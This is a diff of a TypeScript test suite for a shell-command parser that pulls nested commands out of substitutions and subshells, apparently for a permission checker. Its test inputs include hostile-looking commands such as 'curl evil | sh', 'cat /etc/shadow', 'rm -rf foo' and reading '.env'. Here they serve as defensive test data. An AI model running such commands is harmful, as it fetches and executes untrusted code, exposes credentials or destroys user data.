expect(program.commands()).toEqual([
|
|
285
351
|
{ text: "echo `rm x`" },
|
|
286
352
|
{ text: "rm x", context: "command_substitution" },
|
|
@@ -288,7 +354,7 @@ describe("BashProgram", () => {
|
|
|
288
354
|
});
|
|
289
355
|
|
|
290
356
|
it("descends into a pipeline inside command substitution", async () => {
|
|
291
|
-
const program = await BashProgram.parse("echo $(curl evil | sh)");
|
|
357
|
+
const program = await BashProgram.parse("echo $(curl evil | sh)", cwd);
|
|
292
358
|
expect(program.commands()).toEqual([
|
|
293
359
|
{ text: "echo $(curl evil | sh)" },
|
|
294
360
|
{ text: "curl evil", context: "command_substitution" },
|
|
@@ -297,7 +363,7 @@ describe("BashProgram", () => {
|
|
|
297
363
|
});
|
|
298
364
|
|
|
299
365
|
it("descends into process substitution", async () => {
|
|
300
|
-
const program = await BashProgram.parse("diff <(cat /etc/shadow)");
|
|
366
|
+
const program = await BashProgram.parse("diff <(cat /etc/shadow)", cwd);
|
|
301
367
|
expect(program.commands()).toEqual([
|
|
302
368
|
{ text: "diff <(cat /etc/shadow)" },
|
|
303
369
|
{ text: "cat /etc/shadow", context: "process_substitution" },
|
|
@@ -305,7 +371,7 @@ describe("BashProgram", () => {
|
|
|
305
371
|
});
|
|
306
372
|
|
|
307
373
|
it("emits a bare subshell whole and descends into it", async () => {
|
|
308
|
-
const program = await BashProgram.parse("( rm -rf foo )");
|
|
374
|
+
const program = await BashProgram.parse("( rm -rf foo )", cwd);
|
|
309
375
|
expect(program.commands()).toEqual([
|
|
310
376
|
{ text: "( rm -rf foo )" },
|
|
311
377
|
{ text: "rm -rf foo", context: "subshell" },
|
|
@@ -313,7 +379,7 @@ describe("BashProgram", () => {
|
|
|
313
379
|
});
|
|
314
380
|
|
|
315
381
|
it("emits a subshell whole and descends into its chain", async () => {
|
|
316
|
-
const program = await BashProgram.parse("( cd /t && rm x )");
|
|
382
|
+
const program = await BashProgram.parse("( cd /t && rm x )", cwd);
|
|
317
383
|
expect(program.commands()).toEqual([
|
|
318
384
|
{ text: "( cd /t && rm x )" },
|
|
319
385
|
{ text: "cd /t", context: "subshell" },
|
|
@@ -322,7 +388,7 @@ describe("BashProgram", () => {
|
|
|
322
388
|
});
|
|
323
389
|
|
|
324
390
|
it("descends recursively through nested contexts", async () => {
|
|
325
|
-
const program = await BashProgram.parse("echo $( ( rm x ) )");
|
|
391
|
+
const program = await BashProgram.parse("echo $( ( rm x ) )", cwd);
|
|
326
392
|
expect(program.commands()).toEqual([
|
|
327
393
|
{ text: "echo $( ( rm x ) )" },
|
|
328
394
|
{ text: "( rm x )", context: "command_substitution" },
|
|
@@ -331,7 +397,7 @@ describe("BashProgram", () => {
|
|
|
331
397
|
});
|
|
332
398
|
|
|
333
399
|
it("descends into a substitution within a chained command", async () => {
|
|
334
|
-
const program = await BashProgram.parse("cd /p && echo $(rm x)");
|
|
400
|
+
const program = await BashProgram.parse("cd /p && echo $(rm x)", cwd);
|
|
335
401
|
expect(program.commands()).toEqual([
|
|
336
402
|
{ text: "cd /p" },
|
|
337
403
|
{ text: "echo $(rm x)" },
|
|
@@ -340,7 +406,7 @@ describe("BashProgram", () => {
|
|
|
340
406
|
});
|
|
341
407
|
|
|
342
408
|
it("keeps the never-weaker invariant: a benign inner command stays", async () => {
|
|
343
|
-
const program = await BashProgram.parse("echo $(echo safe)");
|
|
409
|
+
const program = await BashProgram.parse("echo $(echo safe)", cwd);
|
|
344
410
|
expect(program.commands()).toEqual([
|
|
345
411
|
{ text: "echo $(echo safe)" },
|
|
346
412
|
{ text: "echo safe", context: "command_substitution" },
|
|
@@ -348,18 +414,19 @@ describe("BashProgram", () => {
|
|
|
348
414
|
});
|
|
349
415
|
|
|
350
416
|
it("returns an empty list for an empty or whitespace command", async () => {
|
|
351
|
-
expect((await BashProgram.parse("")).commands()).toEqual([]);
|
|
352
|
-
expect((await BashProgram.parse(" ")).commands()).toEqual([]);
|
|
417
|
+
expect((await BashProgram.parse("", cwd)).commands()).toEqual([]);
|
|
418
|
+
expect((await BashProgram.parse(" ", cwd)).commands()).toEqual([]);
|
|
353
419
|
});
|
|
354
420
|
});
|
|
355
421
|
|
|
356
422
|
it("derives both slices from a single parse", async () => {
|
|
357
|
-
const
|
|
423
|
+
const cwd = "/projects/my-app";
|
|
424
|
+
const program = await BashProgram.parse("cat .env /etc/hosts", cwd);
|
|
358
425
|
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
359
426
|
".env",
|
|
360
427
|
"/etc/hosts",
|
|
361
428
|
]);
|
|
362
|
-
const external = program.externalPaths(
|
|
429
|
+
const external = program.externalPaths();
|
|
363
430
|
expect(external).toContain("/etc/hosts");
|
|
364
431
|
expect(external).not.toContain(".env");
|
|
365
432
|
});
|